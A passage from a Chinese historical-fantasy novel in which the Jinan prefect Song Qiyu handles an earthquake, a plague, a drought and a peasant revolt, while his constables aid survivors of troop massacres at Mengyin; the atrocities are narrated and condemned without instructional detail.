这时,在曹可用的招呼下,宋承宇搀着曹可用的媳妇,韩丽华抱着宋承宸,后面还跟着吴双桂、吴双兰等几十口人也来到了院子里。宋启愚向前紧走几步,说道:“没事了,大家不用担心。这地震没有发生在济南。”宋承宇问道:“大,那它在哪震了呢?”宋启愚回答说:“现在还不清楚,应该离咱这不是太远,这一两天就会有消息,希望伤亡不大。”宋启愚又对韩丽华说:“夫人,没事的,带着大伙都回屋去吧,孩子们也该睡了。”待众人乱哄哄的散去,宋启愚把曹可用叫到跟前,对他说:“俗话说‘大灾之后必有大疫’,你明天一早先到药行去,命各家药店和医馆多准备些防瘟疫的药,还有治疗伤寒的药。今晚这次地震咱们这里感觉轻微,但震区却会变成人间地狱。十几年前的那次蔚州地震我们都是经历过的。”他又想了想,说:“你再通知一下家里的商号,多筹措些粮食、棉被,还有篷布,运到济南来。我也会通过户司购买一些,不过公文上要走的手续比较多,我怕时间上来不及。”宋启愚又转向李向波,说道:“向波兄,本来是打算留你在济南过年的。可天公不作美,出了这等灾祸。后面,我要到各个街巷村镇去,看看有没有人家的房子受损,有没有人员伤亡,工作量是不小的。此外,估计滨州也是一片混乱,老兄应尽快到任,及早维持局面。”李向波拱手说:“宣道心中装的都是百姓,愚兄很是动容。我明天一早就动身到滨州去,开始工作,稳定人心。”宋启愚招手唤过宋承康,说道:“向波兄,我把他还有二十名警巡借给你,让他们帮你做好交接和救灾的事。” 两天后的下午,河北沧州发生大地震的消息传到了京城。同泰帝立即赶到政事堂,并将豫王、齐王和成王全都叫进了殿内,商议善后救灾事宜。由于童道生现在的官职为正五品中书舍人,主要负责草拟诏书,抄录重要文件等等,故而,也被宣进了政事堂。在这次紧急奏对中,几位王爷爆发了冲突。他们都为了能在赈灾时捞些好处而互相揭短,掀出了许多肮脏勾当,气得同泰帝数次拍案训斥。白晨边给皇帝推背,边小声说:“陛下息怒,龙体要紧。”同泰帝紧锁着眉头说:“先太后临终前,要求朕善待你们。可你们呢,一个贪婪成性,收礼索贿;一个好色无度,强抢民女,不,是强抢官女;一个指使手下,大肆盘剥,你们说说这些哪里是皇子的做派!”见石均和石堃还要强辩,同泰帝打断他们说:“你们都住口,还不嫌丢人吗?你们的这些破事要是被史官记录下来,大周朝的脸面还不得被你们丢尽了。今天这事就先到这儿,你们谁也不要争这个赈灾的差事了,朕再找人去办。”说完,同泰帝气哼哼地起身,就要往外走。赵松寿壮着胆子问:“圣上息怒,沧州地震波及五府十六县,有关善后,还请陛下给个明示。”同泰帝生气地走到门口,站住说道:“先给河北巡抚卢敏下旨,让他会同沧州知州、保定知府还有德州知府先行赈灾。朝廷的赈济等明天议定后再说。”随后,同泰帝一甩袖子走出了政事堂。 第二十六回7 公主的野心 一阵北风刮过,刚从屋里出来的同泰帝不由得打了个寒颤。他紧了紧衣襟,继续迈步向前,可谁承想,地面上的小突起却把他绊了个趔趄。就在同泰帝快要摔倒的时候,一双有力的手撑住了他的身躯。余怒未消的同泰帝刚想责怪,但低头一看,却转怒为喜说:“原来是邦未。你又救了舅舅一回,要什么赏,你尽管说。”秦邦未规规矩矩地跪倒给皇帝磕了个头,才说:“保障皇上安全,是末将的本分,无需恩赏。”他起身后,招呼前面的两个小太监:“你们两个,还不提着大灯过来,给皇上照着路。”同泰帝欣慰地看了看秦邦未,对白晨说:“朕这个外甥从小就懂事,也没让朕操过心。哪象那几个,整天就会争斗惹事。”白晨搀扶着同泰帝说:“皇上不必忧心。殿下们只是年轻,缺少历练而已。”同泰帝又转头对秦邦未说:“邦未呀,你母亲每三天都要进宫给太后的灵位请安,就象太后活着的时候一样。朕的心里也多少能得些宽慰。看到你也如此尽心,朕很高兴。朕现在晋升你为内廷统领,专司内宫的门墙防卫。只要你好好干,舅舅不能亏了你这个亲外甥。”秦邦未立即跪倒,磕头说:“臣谢陛下。末将定当肝脑涂地保卫大内平安。” 由于朝廷迟迟没有派出重臣赈济灾区,当地的救援能力又很有限,再加上北方寒流,河湖冰冻,造成了交通不畅,结果,沧州及其附近的老百姓很快就陷入了绝境。灾民们流离失所,无处乞食,缺医少药,没有被服,被冻饿伤病夺去性命的人不计其数。河北巡抚卢敏直到大年初十才赶到沧州,映入他眼帘的除了一处处残垣瓦砾外,还有野地里堆积如山的赤裸死尸。卢敏流着泪吩咐手下,赶紧开设粥场,施舍灾民。他又吩咐沧州知州召集人员焚化城外的那些尸堆,以免引起瘟疫。可是,为时已晚,随着冻土开化,一场大疫还是在沧州蔓延开来,后来又传染了德州、霸州、保定等地。一些灾民开始逃离家乡,其中一部分人渡过黄河逃往了济南。 二月十三,负责巡视小清河以北的警巡向吴襄报告说,泺口村一带近日有多人得病,还有几人已经病亡。联想到前一段时间的河北灾情,吴襄又将此事汇报给了宋启愚。宋启愚听后,不敢怠慢,赶紧找来六司的属官商量对策。 经过近一个时辰的讨论,宋启愚霍然站起,斩钉截铁地说道:“咱们身为济南的父母官,绝对不能让瘟疫在本地流传。”他首先吩咐道:“长白,你领些警巡,再带上两个郎中马上去接管渡口。渡口边的那家客栈和周围的房舍全都暂时征用,外面还可以再支些帐篷。凡是从北岸过来的人,都必须在客栈里停留三天,由府衙为他们供给衣食和汤药。对于那些无家可归的难民,三天后把他们迁往药山居住。对已经发病的人,要善待,要给他们医治。”吴襄回答了一声是,刚要走,宋启愚又叫住他说:“长白,到了渡口先生火熬粥,得让所有上岸的人都能吃饱。稍晚一会儿,我会让人把府衙的布告送到渡口去。另外,所有跟救灾有关的花费,户司、兵司和水司不许推搪,必须及时拨付。”吴襄抱拳行了个礼,转身去了。 第二十六回8 公主的野心 宋启愚又说:“邓主事,你带着礼司的人现在到九莲寺去,找庆志方丈。九莲寺较为空旷,周围少有人家,本官打算把所有得疫病的人都安排在那里治疗。老方丈有慈悲心,又通医道,我想他愿意帮助我们做此善事。”邓主事说了个请大人放心,也去办差了。宋启愚又叫过水司主事杨澄,说道:“你带着水司的官员和工匠到药山去。在山脚有溪流处赶工建设五十间临时房,用以收容逃难的百姓,被服和用品先按三百套配备。后面,我们再根据实际,看是否要增加。”杨主事答应一声,退出了厅堂。宋启愚又说道:“徐主事,你们户司除了做好物资供应、生活保障和支出调度外,等疫情过去,如果有灾民不愿回乡,你们还要及时地给这些人登记户籍,划拨荒地,让他们有所营生。”徐主事拱手说:“属下明白。”宋启愚又指着兵司主事胡时壮说:“胡主事,你立即去泺口村。带上几名郎中,先给患病者诊治,然后再将他们迁往九莲寺治疗。另外,再带些衙役,把病死者的尸身和衣物焚化。咱这地方的人很讲究‘死者为大’、‘入土为安’,但现在是非常时期,对于阻挠焚化尸体的人,若劝止不住,可以当场锁拿。”胡时壮也唱了个诺,领命去了。宋启愚又转向刑司主事张硕,说道:“黄河渡口开化时间不长,估计从北方来我济南的人并不多,但是不能掉以轻心。你把刑司的人都派出去,收容城内外的乞丐和流民,给他们饭吃。这些人体质差,易得病,我们得降低这个风险。过后,把没收长清县令的土地分出一些租给这些人,也让他们有条活路。”胡时壮行了个礼说:“遵命,属下这就去安排。” 由于防疫及时,措施得当,这场在河北大地上肆虐了数月的瘟疫,在济南却吃了瘪,很快便被控制住了。 三月中旬,宋启愚亲自前往九莲寺,看望在那里治疗的最后一批疫病患者。安抚了这些人之后,宋启愚走进大雄宝殿,面对佛像,双手合什,嘴里喃喃地念道:“如是我闻。一时佛在舍卫国。祗树给孤独园。与大比丘众。千二百五十人俱……若菩萨不住相布施。其福德不可思量……如来者。无所从来。亦无所去。故名如来……”站在一旁的庆志方丈大为惊讶。待宋启愚施礼完毕,他合掌说道:“阿弥陀佛。大人竟能默诵整段《金刚经》,在众多官宦当中,能象大人这样精通佛法的,实在少见。”宋启愚躬身说:“方丈谬奖。我起初研习佛经只是为了静心,后来才发现佛祖‘普度众生,施惠宇宙’的教义与读书人‘穷则独善其身,达则兼济天下’的理想有诸多相似之处。我这才花了些心思,背诵了几段经文,实在难入方丈双耳。”庆志方丈又双手合什,施了一礼说:“大人太过谦逊了。我佛虽能度人,但多在救人之心;而大人出手助人,却能救人之身;我佛避世,而大人出仕,此二者正为互补。” 恰在此时,一道强烈的阳光透过门窗射在了大殿正中的佛像上。随着光线角度的变化,原本眼帘低垂的佛像好似突然慢慢睁开了双眼。庆志方丈欣喜地双膝跪地,高喊道:“佛祖睁眼了!佛祖显灵了!佛祖要注视我们这个世界了!阿弥陀佛,阿弥陀佛。这个世道终于有救了!” 第二十七回1 天灾人祸 同泰十年春,连续五六个月的干旱使原本急流奔驰的黄河变成了一条窄窄的小溪。在原先的河道中央长出了细密的芦苇和野草。而在离水稍远的地方,泥土板结成块,龟裂开来,咧着深深的网状的口子。整个北方都被焦渴折磨着,就连一向不缺水的济南也有几十眼甘泉停止了流淌。而那些远离水源的乡村,干旱更为严重,先前抽节的庄稼耗尽了农民们能够汲取的最后一点水,现在成片的枯萎。很多地方的老百姓自发地组织起来,抬着扎制的土龙,登上北边的山坡,焚香歃血,祈雨占卜。 听闻各地灾报不断,同泰帝心急如焚。他先下旨刑部,命其重新审定积压案件,同时赦免了一批狱中囚徒。他又下旨户部,减免受灾地区的赋税和徭役。他还亲自前往太乙宫,设置三牲祭礼,祈求上天兴云布雨。可是,老天爷仅仅为他送去了几片黑云,又空响了几声雷音,便不再理会这位求告的皇帝。河南、河北、山东、淮北、热河等地的老百姓仍然在与干旱苦苦拼斗。 身为知府的宋启愚一面命令户司和各个乡镇精细调配用水额度;一面让水司和各村各寨组织住户修水窖储水;一面命警巡队和城防军用大车从山区和黄河沿线有水的地方拉水抗旱,这才好不容易维持住济南农时的最小用水。为了防止粮价上涨,宋启愚又派出多名户司官吏远赴淮南、江南采购余粮。他还致信家里的商号和身在荆襄的余允文、黄秩五,让他们筹措粮食接济北方。皇帝亲自求雨的消息传到济南后,宋启愚也率领一些府属官员抬着祭品到华不住山登山乞雨。沿途的老百姓见知府大人要去求雨,也纷纷组织起来,跟在官吏队伍后面,上了华不住山。老百姓还振振有词的念叨着:“七副带子八副拴,观音老母下灵山。有雨拴成升和斗,无雨拴成挂啦鞭。七个寡妇九个女,刷刷簸箕下大雨……”宋启愚看着身后的数千男女老幼,心想,这普天之下最苦的就是土里刨食的农民,他们整日劳作,不得休息,风吹日晒,流血流汗,期盼有个好年景,希望得个好收成。可到头来,他们能落个温饱就要感谢上天了。宋启愚暗下决心,即使真的求不下雨来,他也要竭尽所能,帮助大伙渡过难关。想到这儿,他虔诚地合起了双手,边走边喃喃地念起了佛经。 小麦进入灌浆期后,宋启愚白天忙着抗旱,晚上则抽出时间,到后衙的小佛堂,默诵经文,祈求佛祖早降甘霖。到了四月下旬,在宋启愚又一次虔诚地拜佛之后,天上突然刮起了一阵微风,紧接着,远处乌云四合遮蔽了星斗,又有一道闪电划破了夜空。宋启愚欣喜地冲到院中,张开两手,仰头呼喊道:“上苍啊!请你怜我众生,赐我雨露,润我疆土,保我生灵!”他跪在地上向着北方不住地磕头。随着一个闷雷在空中炸响,一滴绿豆大小的雨珠落在了宋启愚身前。接着,点点小雨砸在干透的泥土上,泛出一股土腥味。 第二十七回2 天灾人祸 宋启愚脸上浮现出了微笑。他享受了片刻被雨点滋润的快感,站起身,对在院子里看雨的家人们喊道:“大伙别愣着了,赶快拿盆、拿桶接雨储水。”他又吩咐余天锡说:“你快回警巡队,让警巡沿街通知各家储备雨水。再派出一半警巡,出城去帮附近的农民往水窖里蓄水。另外,拿上我的宪牌,去镇守使府上,要求城防军也派出些人来,帮着老百姓储水。”余天锡答应一声,只戴了个斗笠,便出门去了。宋启愚见韩丽华站在屋檐下,一时兴起,跑过去,一把拉住夫人的手,笑着说:“小时候,一下雨,我娘就不许我到雨地里去。可我偏不听,乘她不注意,就溜出去找国栋、光照他们玩,经常淋得像个落汤鸡。今天没人管我了,咱俩去雨地里跑跑,怎么样?”说完,他也不等韩丽华回答,便拉着她冲到雨中又笑又跳了起来。看着满脸童趣而心中都是百姓的丈夫,韩丽华的眼泪不能自已地流了下来。 这场及时雨下得并不大,仅仅一个晚上,便雨住天晴了。 次日一早,宋启愚带着曹可用先去了警巡队,向吴襄、余天锡了解昨夜警巡队的派出情况和城内的蓄水情况。他又打马出城,到附近的两个村庄检查了村民的储水量,并走到地头,观察了庄稼的长势。待查看一圈之后,宋启愚轻轻舒了一口气,说道:“今年的小麦减产是肯定的,不过,比预想的要好不少,如果再除去圣上减免的赋税,济南老百姓的日子还能过得去。”曹可用憨憨地一笑说:“摊上你这么个父母官,他们的日子当然好过了。昨天收到黄秩五大人的信,看你正在佛堂求雨,就没有拿给你看。”宋启愚问道:“黄大人说什么?”曹可用回答道:“他抱怨说,现在的襄阳知州又恢复了原先的课税标准,还加征了桑蚕养殖费、贸易通行费等名目,搞得整个地区鸡飞狗跳的。他还说,这一年多,刚刚富起来的襄阳百姓又没有好日子过了。人们都很想念你,希望你能回去。”宋启愚长叹一声说:“千百年来,我们这个国家一直是‘因人成事,因人废事’。君主们总想选出一些德才兼备的人帮着他们管理地方,可哪有那么多这样的人呢?没有合理的制度做保障,不能严格地执行律法,任何人的人品都是靠不住的。更何况很多人本身就极端自私,极端无耻,需要监管,又怎么能指望这些人为老百姓服务呢。”曹可用嘿嘿笑着说:“宣道的话咋跟那位小先生这么象呢!”宋启愚拍着曹可用的肩膀说:“你可别小看唐明渊。虽然他年龄不大,但在判断是非方面却比普通人要强千万倍。我们深谈过几次,我十分看重他。哦,对了,余先生上次来信说,过些日子,可能会让唐明渊、欧阳亮等十名学生到曲阜游学。到时候,我如果没空的话,就由你带着天锡替我去一趟,拜见一下至圣公,再慰问一下这些魁星三学的学生。”曹可用吐了吐舌头,说道:“哎呦,这差事我可干不来。上次,见了那个颜春霖,我就膈应了半天,更别说叫我去见至圣公了。”宋启愚微微笑了笑说:“你呀。其实,我是想派人去看看曲阜的旱情。那里比我们这里更缺水,我虽不管曲阜,但身为孔子门生,善待圣人后裔,也是我的责任。” 第二十七回3 天灾人祸 下午,宋启愚刚刚回衙,就见丫鬟春姑急急忙忙地跑上来说:“老爷,夫人有要事,请您马上回后衙。”宋启愚脸色一变说:“夫人从来没有这样着急过,肯定有大事。你先去,我即刻便到。” 宋启愚一脚跨进内宅,就见韩丽华领着宋承宇风风火火地迎了出来。宋启愚急切地问道:“夫人莫慌,出什么事了?”韩丽华双手奉上一张信卷,说道:“老爷,咱娘重病卧床,已经吐血了。”宋启愚身子颤动了一下。他尽量控制着情绪,拿过信卷仔细看完,两行热泪夺眶而出。他稍稍平复了片刻,说道:“娘亲得病,儿子理应侍奉床前。可是,朝廷有制度,国家有法度,我不能擅离职守。还请夫人代我回去,陪在娘亲身边,替我尽些孝心。宇儿和宸儿你都带去。他们也该去见见奶奶还有太公和爷爷。你们明日一早就走,尽快回到光裕寨,也好让家里人放心。”韩丽华施了个万福说:“妾身这就去收拾。我们走后,还望老爷放宽心思,多多保重,不要太过操劳。”宋启愚又转头对曹可用说:“好兄弟,这次你也回去。一会儿,你去请大夫安国全和路东亮来一趟。我想麻烦这两位神医跟着你们去趟山西,给老夫人瞧瞧病,说不定还有转机呢。”曹可用急忙抱拳说:“我马上去办。我再去调用几十个警巡,保证路上万无一失。宣道,老夫人一生行善,不会有事,你也别太担心。”宋启愚挥了挥手,无力地说:“我不要紧,你去吧。”曹可用转身出了院门,略一盘算,径直去了警巡大队。他把老夫人得病的消息告诉了吴襄,要求吴襄尽量陪在宋启愚身边,并调申鲤、毛小等人在府衙听用。 当晚,曹可用一夜未眠,安排随行人员,整备车马,检查所带的行李物品,事无巨细,非常尽心。第二天一早,曹可用怕宋启愚难受,特意换上了一套新衣,乐乐呵呵地到正房来请二夫人上路。宋启愚强装镇定,又交代了众人一番,这才把妻儿送到府门外,让大伙上车启程。 旱灾又持续了将近一个月,整个北方赤地千里,除了济南、东平、鲁山、邯郸等少数地区外,其它地方近乎绝收。虽然,同泰帝减免了灾区的赋税,但地方官员为了保住乌纱,收回年初放出去的贷款,仍然按照《青黄法》的规定,催逼老百姓交还借贷的银钱和利息,造成大批农民破产。那些遭遇灾荒,衣食无着的老百姓被逼无奈,只得铤而走险。结果,先是河北,继而蒙阴、亳州、陕州等地都爆发了大规模的农民起义。 面对四起的烽烟,同泰帝坚决采用征剿为主,招降为辅的方针。他采纳静福公主的建议,命侍卫亲军都指挥使赵义廷剿抚陕州。这位赵指挥使确实有魄力。他带领两千禁军只用了三天时间便开到了渑池县。他又四下放出风去,要等地方军队聚齐才能进攻。可暗地里,他却在休整两天之后,利用暗夜,一举攻克了陕州城,斩杀流贼六千多人,基本平定了该地区。同泰帝又命令燕热节度使张洪涛会同山东巡抚单宏波、淮北巡抚魏柄忠平灭河北、山东、淮北一带的暴民。 第二十七回4 天灾人祸 不能不承认,张洪涛手下的边防军由于受到过正规的训练,又经历过实战的洗礼,战斗力确实强悍,农民军在他们面前简直不堪一击。仅仅十几天功夫,张洪涛就基本肃清了河北境内的大股土匪。可就在这时,那位前北燕皇帝,现在柔然的锦州都护却派出了数千军队,到热河、建德一带烧杀抢掠。张洪涛只得先向北对付柔然人的袭扰。为了向朝廷有所交代,他特命滦州镇守使马健东率领三千兵马接受单宏波的提调往蒙阴剿匪。 山东巡抚单宏波是个在官场上摸爬滚打了二十多年的老油条。他一方面想快速平灭贼寇,捞取功劳;一方面想向朝廷显示能力,以获得进一步的重用;再一方面想结好张洪涛,攀上另一条高枝。但是,单宏波毕竟是个文人,既没有带过兵,也没有打过仗,甚至连战场都没有去过。在和幕僚们商量之后,他最终拿出了一个对自己最为有利的方案。他先以保护孔子遗冢和护卫至圣公安全为名,带领三千城防军进驻了曲阜城。他还向朝廷报告说,自己率先行动,已将农民军围堵在泗水县以东。接着,他又命令济南镇守使屈震率领两千城防军从北向南攻击蒙阴,并命令滦州镇守使马健东从沂水向西进攻农民军。 在警巡大队正厅,宋启愚吩咐道:“我已经命令刑司和兵司的官员把府里出的布告张贴到了各个城乡。后面这段时间,你们仍然要加强巡逻,以防暴民和官军滋扰地方,尤其是章丘、莱芜方向。”吴襄和余天锡起身答了个是。宋启愚接着说:“我估计这次平叛几天内就会结束,但给地方却会留下很多隐患。你们看……”他指着条桌上的地图说:“蒙阴地处沂蒙山腹地,进出的道路主要有北边和东边两条。现在马健东从沂水,屈震从莱芜,对向夹击,农民军根本无力抵抗。我料想那些起事的农民一定会蹿入大山,长期为寇。另外,马健东的部队作战凶狠但军纪很差。他们以前在檀州、沧州没少祸害地方,这次沂水和蒙阴的老百姓倒霉了。其实,象这种被逼造反的地方完全可以用招抚的办法平定,可朝廷却硬要剿。哎,我们得想办法给老百姓留条活路才是。”宋启愚又想了想,说道:“按照巡抚大人的安排,本省的城防军将在打下蒙阴后陆续撤回驻地。马健东部应在剿贼后,休整数日,继续南下到淮北作战。那么,蒙阴就变成了一座空城,叛匪随时能够再次占领她。如果这样循环下去,真正受伤的还是老百姓。所以,毛小,伍名,我命你们挑选三百名警巡,随时准备南下接管蒙阴城。”毛小和伍名抱拳喊了个诺。宋启愚又说:“毛小,你再去找邝先生领些粮食和物资,待进驻蒙阴后,救助难民,恢复生产。对于来犯的贼寇,只惩元凶,从者不问,能招抚的尽量招抚。”毛小又行了个礼说:“毛小明白。”宋启愚走到厅中,望着外面正在操练的警巡队伍,喃喃地说:“希望马健东能约束他的部下,少杀些平民。” 第二十七回5 天灾人祸 此时,滦州镇守使马健东正身披重甲骑在战马上。他望着远处的蒙阴城,轻蔑地一笑,对左右部将高喊道:“将士们,看这蒙阴墙低池浅,防卫松懈,正是我们破城立功,斩将夺旗的好时机。本将前日已经言明,破城三天内不整饬部队。我相信你们定能勇往直前,全歼贼寇。现在,本将命令,各部按预定计划,出击。”一时间,三千军队呐喊着扑向了蒙阴城。滦州军先用抛石车和床子弩对城上进行了一轮打击,接着,肩扛木梯的军兵冲向了城墙,撞城车也缓缓地向城门开去。几百名骑兵从两侧冲出,快速包抄到了城池的南门和北门外。 面对这样的进攻,农民军哪里能够抵挡,仅仅一天功夫,蒙阴城即被攻破。盘踞在这里的几千农民军死的死、伤的伤,只有一千多人逃出城去。这些人又裹挟了一两千附近的老百姓,躲进了周边的大山中。 两天后,屈震的部队赶到了蒙阴。当他看到城内既无贼兵可杀,又无财宝、妇女可抢,甚至连一间像样的民房都找不到时,他的内心极为失落。屈震接受不了寸功未立的结果,他随即命令手下屠戮了北边的石泉村、龙池庙、河西镇、官庄等村镇。然后,他派人拿着从平民身上割下来的一千多只耳朵,飞马向单宏波报捷。 战争一结束,马健东见没了油水,便直接带兵前往亳州剿匪。屈震也不愿继续呆在蒙阴,在草草处理了露天的死尸之后,他也率军撤回了济南。 几天后,当毛小和伍名带着三百名警巡进驻蒙阴县的时候,城里一片死寂。毛小一面命人扎营做饭,一面散出人去,收容附近的老百姓。警巡们费了好大力气,才在周边找到了一百七十多个人。这些人面无表情,痴痴木木地被带到毛小面前。毛小问他们:“这城里还有其他人吗?”没有人回答。毛小又问:“官军走后,叛匪回来过吗?”还是没有人答话。毛小又问:“你们这些人有当过小吏或者里正的吗?”仍然没有人说话。伍名有些急了,开口骂道:“你们他妈的都聋了!没听见我们队长问话吗?”毛小制止他说:“他们可能是被吓坏了。先让他们吃饭,再把咱们带的衣物分给他们,过后咱再问。”伍名答应一声,刚要走,毛小又叫住他说:“记住,给他们少盛些,别再撑死了。” 热腾腾的糙米粥端过来,这些好多天没吃过正经粮食的人,个个象疯了一样,扑上去胡乱抓起一碗来,就往嘴里倒。他们喝下米粥后,马上又举着空碗,凑到分粥的警巡跟前,嘴里含含糊糊的,意思是要求添饭。毛小示意给他们吃,警巡们就又给这些人盛了两次粥。在施粥的过程中,这些人仍然很少说话。毛小觉得不对劲,就走到一个中年男人跟前,伸手捏住他的颌骨,令他张开嘴巴。毛小往那人嘴里一看,不由得倒抽了一口凉气。他又揪住旁边的两个人,撬开了他们的嘴。一瞧之下,这位铁血男儿竟然热泪盈眶。他气愤地说道:“乡亲们,你们,你们受苦了。这是谁干的?你们谁还能说话?告诉我是谁如此狠毒,割掉了你们的舌头。我要禀告宋大人!我要禀告宋大人!还你们公道!”这些长时间不被重视的贱民,刚刚吃了饱饭,又听到这样关爱的话语,心理上全都崩塌了。他们跪在地上哀嚎痛哭。旁边的康恩凑过来说:“队长,现在场面混乱,也问不出什么来,不如先让他们休息。明天再了解情况。”毛小觉得有理,便让伍名去安排这些人住下。 第二十七回6 天灾人祸 第二天,有十几个没有被割舌的蒙阴人向毛小和伍名讲述了他们这些年来的遭遇。原来,这蒙阴,地方偏僻,土地贫瘠,物产稀少,经济落后,当地人绝大多数以务农为生。家家户户辛苦劳作,节衣缩食,才能勉强度日,若遇上灾年,只能卖儿卖女。这里的人也老实,没见过世面,被官吏欺诈盘剥是常有的事。人们无处伸冤,只能忍气吞声。十年前,自执行了《青黄法》,农民们的日子好过了一两年。但后来的两任县令均把皇账的利息定在八分以上,老百姓根本承担不起。对于还不上账的人,官府会没收他们的土地,还有些人为了填饱肚子只能卖身为奴。后来,朝廷推行茶叶的禁榷制度,原本种茶的富户也开始破产。这些破产的茶农不甘心失去茶山,就聚集起来对抗官府。开始的时候,闹事者都被镇压了。可随着破产者越来越多,到了同泰九年,农民失去土地的已达十之七八。今年,又遇到了旱灾,全县饿死了一千多人。绝望的百姓聚集起来,先是吃大户,抢庙宇,又发展到抢县城,砸仓库,再往后又有人杀了前来弹压的官军,占领了县衙。 一个始终顺着眼的中年男人讲述道:“知县逃走后,一伙地痞就在衙门里当起了大王。可他们也不是好东西,把我们又祸害了一遍,不仅抢东西,还把年轻的女人都掳了去,又强逼着男人们加入他们的队伍。算上本乡的,算上外来的,一下子,他们就聚了七八千人。这么多人要吃饭啊。他们就到临近县乡去抢。可粮食还是不够吃,他们就杀些人来吃。再往后,朝廷派来了官军,本以为得救了,可是,可是……”男人说不下去了,他倒在地上失声痛哭起来。毛小眼含热泪,安慰道:“大伙别难过,宋大人就是派我们来解救你们的。我也是苦出身,知道你们的艰辛。我一定让宋大人给你们主持公道。”另一个花白头发的老妇哭着说道:“官军打进城来,那个地痞头子叫蔡三的就带着他的手下跑到山上去了。那位马将军领兵追了追,没追上,就强说我们全城通匪,任他的军兵到处杀人放火。可怜我们这些平民百姓,逆来顺受,就是个死呀!”刚才痛哭的中年男人,现在平复了一些,接着说道:“那姓马的畜生看杀人太多,不好处理,就下令把死尸都抬进民房中焚烧。他说那天是他生日,就饶了我们这些搬运尸体的人。他又怕我们乱讲,就割了大伙的舌头。我们这十几个还能说话的人,要么是藏在地窖里,要么是提前逃出了城,才躲过这一劫。我们的命是贱,可我们也是人呀!怎么就没人把我们当人看呢?”毛小和伍名听得怒火中烧,他们恨不得马上提兵去追赶杀人的**和强盗。毛小把火往下压了压,用缓和的语气说:“大伙放心,苦日子过去了。从今往后,只要有宋大人在,我们就不会不管你们。这些天,你们先住帐篷。我这就出榜安民,整修房屋,捡拾埋葬散落的尸骨。我还要向大人汇报,请求大人弹劾那帮混蛋。” 第二十七回7 天灾人祸 毛小豁然站起,对身边的警巡们吩咐道:“康恩,你带人先把那边的几处残墙收拾出来,搭起棚子,让大家住。那两眼井也掏一掏,刚下过雨,也许能打出水来。”他又吩咐说:“姚凯,你带些人到附近的村镇去,看有没有能救的人。能找到的尸首也都把他们埋了吧。”两个人应诺,办差去了。毛小又对伍名说:“伍队长,你到被烧掉的县衙去扒拉扒拉,看能不能找到本地的鱼鳞册、户籍册之类的东西。那么多人不能白死了。还有,就是警戒要加强,不能给贼寇偷袭的机会。我现在就给宋大人写信,请示大人,后面怎么做。”那一百多被救的老百姓,原先非常恐惧,但现在,见眼前的年轻人真的在为自己出头,他们全都跪爬过来,哭泣着磕头。能说话的几个人还大着胆子问道:“恩人啊!敢问恩人高姓大名。我们就是做牛做马也要报答恩人啊!”毛小略一迟疑,说道:“救你们的是济南知府宋启愚大人。我是宋大人身边的警巡队长毛小。这位是副队长伍名。”说完,毛小头也不回地进了行军帐。 几天内,警巡们在蒙阴附近又陆续找到了几百活人。毛小也把他们收容在县城,供他们粥饭,给他们治伤。毛小又亲自绘制了地形图,将一个个已知的埋尸地点在图上标示清楚。虽然全县的鱼鳞册已被烧毁,但在被救下的人指引下,警巡们还是在各村的残垣断壁间找到了三个村庄的户籍册。 这日,吃罢了午饭,毛小把伍名、康恩等人叫进了军帐。毛小说:“前日,宋大人回信说他愿出面弹劾马健东和屈震等人,要我们保留证物,记录证言。宋大人还说叫我们维护地方秩序,收容流散百姓,帮他们重建家园,恢复生产。这些都是我们现在正在做的事情。我叫你们来,是想跟你们商量商量,怎么解决山上的土匪。不把他们消灭掉,我们一旦撤走,这里的老百姓还是没有好日子过。”姚凯笑笑说:“队长,你是不是已经想好了。我们都知道你的办法多。你就说咱该咋办吧。”伍名也说道:“不错,本来我的主意就不少,但跟毛小比,我那就是雕虫小技。要论真本事,还得看咱队长的。”毛小点点头说:“既然你们都信我,那我也不谦虚了。”说着,毛小从怀里摸出一块画了图的布,将它展开铺在地上,说道:“据逃回来的人说,蔡三一伙现在盘踞在沂蒙山南麓。具体位置暂不清楚。但我猜测他们应在这里。”毛小指着图上的一个点,继续说:“据本地人讲,龟蒙峪这片水洼是山里最大的水源,一千五百贼寇再加上一千多老百姓,要生存下去,肯定得用水。所以,他们只能在这儿。不过,咱们这些警巡,第一、人手不足,第二、缺少重兵器,第三、地形不熟悉,所以,硬攻肯定行不通。而且,我也不想造成太大的伤亡。好在,贼寇的核心力量十分有限,最多就那么百十号人。故而,我想……”毛小压低了声音,开始给众人布置任务。 只因毛小率军剿贼,才引出一段智取龟蒙峪的好戏。 第二十八回1 智取龟蒙峪 宋启愚在二堂写完了奏折,拿起来吹了吹,对旁边说道:“申鲤,你现在去收拾一下,明后天跟着我到曲阜去。”待申鲤听命走后,宋启愚对吴襄说:“长白,我这次去面见至圣公,是要把蒙阴剿匪的真实情况告诉他,请他跟我联名弹劾马健东和屈震等人。顺便再看望一下唐明渊他们。”吴襄点头说:“若能得到至圣公的助力,圣上自然会格外重视。只是,宣道为什么不弹劾单宏波呢?”宋启愚微微笑了笑说:“单巡抚很滑头,一开始就带着军队进了曲阜城。从表面上看,他离蒙阴并不远。但中间隔着山川,他等于是躲在大后方,叫别人去冲锋陷阵。若取胜,他收全功,若失败,他还有回转余地。他并没有真的杀平民,我们又弹劾他什么呢?而且,这个人自当官以来,虽然庸碌,却没有做过特别伤天害理的事情,与那些动辄乱出政策、欺君害民的恶官比起来,他还算是好的。”宋启愚站起身,向前走了两步,接着说:“更何况,他官位已高,背后的势力盘根错节,朝廷也不会轻易动他。你还记得当年我弹劾的那个沈建平吗?”吴襄回道:“就是那个在襄阳想刺杀羞辱你的城防军司马。”宋启愚说:“对,就是他。他跑到西北搬弄是非,让宣慰使张永德参我私蓄武装、图谋不轨。幸亏我当时留了个心眼,以抗洪为名向朝廷备过案。否则,这罪名还不轻呢。所以,在组建济南警巡队时,我特意以维护治安、防灾抚民的名义向上做了报备。”吴襄笑笑说:“还是宣道想的周全。”宋启愚转过头,又说:“昨天,我收到毛小的信卷。他打算这几天攻击龟蒙峪。对于他的计划,我很欣赏,只是还担心他们的安全。长白,这样吧,为防万一,你亲自率领二百警巡南下,增援蒙阴。”吴襄起身,抱拳行礼说:“遵命,我下午就出发。”宋启愚又说:“我对你们打胜仗其实还是有信心的。只是,你们一定要少杀人,只惩元凶,从者不问,蒙阴的损失已经够大了。”吴襄又一抱拳说:“长白明白,你就放心吧。”宋启愚抓住吴襄的手腕,又说道:“长白,这次出征,还要在警巡队中挑选些好苗子出来,将来推荐到城防军供职也好,跟着咱们走也好,都能给这些人指个前途,为国家培养些人才,象咱们在襄阳时做的一样。”吴襄点了点头,说道:“现在这批警巡,武艺好身体棒的还真不少,脑子灵光的也有。象楚岩、刘戈、张家奇、侯宗等人,都是不错的。”宋启